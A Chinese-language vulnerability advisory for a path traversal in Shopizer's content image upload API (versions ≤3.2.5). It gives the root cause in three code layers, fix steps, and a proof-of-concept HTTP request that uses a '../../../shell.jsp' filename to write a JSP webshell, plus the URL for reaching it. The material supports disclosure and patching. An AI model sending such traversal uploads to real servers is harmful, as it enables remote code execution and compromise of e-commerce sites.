# 漏洞总结 ## 漏洞概述 Shopizer 电商平台的 `/api/v1/private/content/images/add` 接口存在路径遍历漏洞,可导致任意文件写入(RCE)。攻击者通过构造恶意的 `qfilename` 参数,利用 `../` 序列绕过目录限制,将文件写入到应用静态内容目录。 ## 影响范围 - **受影响版本**:版本 ≤ 3.2.5(披露时的最新版本) - **前提条件**: - 使用 `http` 文件存储后端(本地文件系统存储) - 需要有效的 JWT 令牌(管理员或商户账户) - **漏洞根源**: - API 层:`FilenameUtils.validateFilename()` 仅检查文件名非空,未处理路径遍历 - 服务层:`ContentServiceImpl.java` 的 `addContentFile()` 方法未进行内容级检查 - 存储层:`LocalOscMsiteContentFileManagerImpl.java` 的 `addFile()` 方法直接拼接用户提供的文件名,未进行路径规范化 ## 修复方案 1. **清理文件名**:使用 `FilenameUtils.getName()` 剥离用户提供的文件名中的所有目录组件,仅保留基本文件名 2. **验证解析路径**:在构建最终路径后,调用 `Path.normalize()` 并通过 `resolvedPath.startsWith(allowedRoot)` 验证结果不会逃逸指定的上传目录 ## POC 代码 ### 配置文件示例 ```properties config.cms.method=http config.cms.contentUrl=http://localhost:8080 config.cms.static.path=/static ``` ### 请求示例 ```http POST http://localhost:8080/api/v1/private/content/images/add HTTP/1.1 Host: localhost:8080 Accept: */* Accept-Language: en User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) Connection: close Content-Type: multipart/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gW Content-Length: 1227 ------WebKitFormBoundary7MA4YWxkTrZu0gW Content-Disposition: form-data; name="qfilename" ../../../shell.jsp ------WebKitFormBoundary7MA4YWxkTrZu0gW Content-Disposition: form-data; name="qfile"; filename="shell.jsp" Content-Type: application/octet-stream ------WebKitFormBoundary7MA4YWxkTrZu0gW-- ``` ### 响应示例 ```http HTTP/1.1 200 Content-Type: application/json Content-Length: 40 {"success": true, "error": null, "errorMessage": null} ``` ### 访问上传的 Webshell ``` http://localhost:8080/static/shell.jsp ```